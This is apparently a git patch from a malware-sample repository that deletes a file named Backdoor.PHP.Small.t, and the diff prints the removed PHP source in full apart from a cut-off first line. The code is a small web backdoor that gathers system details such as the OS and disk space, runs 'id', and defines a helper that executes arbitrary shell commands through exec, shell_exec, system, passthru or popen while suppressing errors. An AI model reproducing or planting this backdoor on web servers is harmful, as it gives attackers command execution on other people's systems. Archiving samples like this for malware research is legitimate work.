From db0f46551208e13769efe5317a96f3b381230e48 Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Fri, 30 Oct 2020 00:03:37 -0500 Subject: [PATCH] Delete Backdoor.PHP.Small.t na --- PHP/Backdoor.PHP.Small.t | 70 ---------------------------------------- 1 file changed, 70 deletions(-) delete mode 100644 PHP/Backdoor.PHP.Small.t diff --git a/PHP/Backdoor.PHP.Small.t b/PHP/Backdoor.PHP.Small.t deleted file mode 100644 index 902d560b..00000000 --- a/PHP/Backdoor.PHP.Small.t +++ /dev/null @@ -1,70 +0,0 @@ -"; -$OS = @PHP_OS; -echo "OSTYPE:$OS
"; -echo "uname -a; $uname
"; -$free = disk_free_space($dir); - -if ($free === FALSE) {$free = 0;} - -if ($free < 0) {$free = 0;} -echo "Free:".view_size($free)."
"; - -$cmd="id"; -$eseguicmd=ex($cmd); -echo $eseguicmd; - -function ex($cfe){ -$res = ''; -if (!empty($cfe)){ -if(function_exists('exec')){ -@exec($cfe,$res); -$res = join("\n",$res); -} -elseif(function_exists('shell_exec')){ -$res = @shell_exec($cfe); -} -elseif(function_exists('system')){ -@ob_start(); -@system($cfe); -$res = @ob_get_contents(); -@ob_end_clean(); -} -elseif(function_exists('passthru')){ -@ob_start(); -@passthru($cfe); -$res = @ob_get_contents(); -@ob_end_clean(); -} -elseif(@is_resource($f = @popen($cfe,"r"))){ -$res = ""; -while(!@feof($f)) { $res .= @fread($f,1024); } -@pclose($f); -}} -return $res; -} - -function view_size($size) - -{ - -if (!is_numeric($size)) {return FALSE;} - -else - -{ - -if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} - -elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} - -elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} - -else {$size = $size . " B";} - -return $size; - -}} - -exit;